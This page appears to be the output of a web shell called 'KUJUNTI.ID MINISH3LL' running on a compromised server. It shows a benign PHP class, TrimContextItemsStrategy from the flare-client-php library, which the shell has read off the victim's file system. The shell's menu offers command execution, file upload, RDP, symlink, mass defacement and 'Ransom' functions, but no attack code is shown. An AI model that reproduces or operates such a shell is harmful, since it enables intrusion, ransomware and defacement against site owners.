KUJUNTI.ID MINISH3LL
Path : /var/www/html/phkaymedia/vendor/facade/flare-client-php/src/Truncation/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/phkaymedia/vendor/facade/flare-client-php/src/Truncation/TrimContextItemsStrategy.php


<?php

namespace Facade\FlareClient\Truncation;

class TrimContextItemsStrategy extends AbstractTruncationStrategy
{
    public static function thresholds()
    {
        return [100, 50, 25, 10];
    }

    public function execute(array $payload): array
    {
        foreach (static::thresholds() as $threshold) {
            if (! $this->reportTrimmer->needsToBeTrimmed($payload)) {
                break;
            }

            $payload['context'] = $this->iterateContextItems($payload['context'], $threshold);
        }

        return $payload;
    }

    protected function iterateContextItems(array $contextItems, int $threshold): array
    {
        array_walk($contextItems, [$this, 'trimContextItems'], $threshold);

        return $contextItems;
    }

    protected function trimContextItems(&$value, $key, int $threshold)
    {
        if (is_array($value)) {
            if (count($value) > $threshold) {
                $value = array_slice($value, $threshold * -1, $threshold);
            }

            array_walk($value, [$this, 'trimContextItems'], $threshold);
        }

        return $value;
    }
}

© KUJUNTI.ID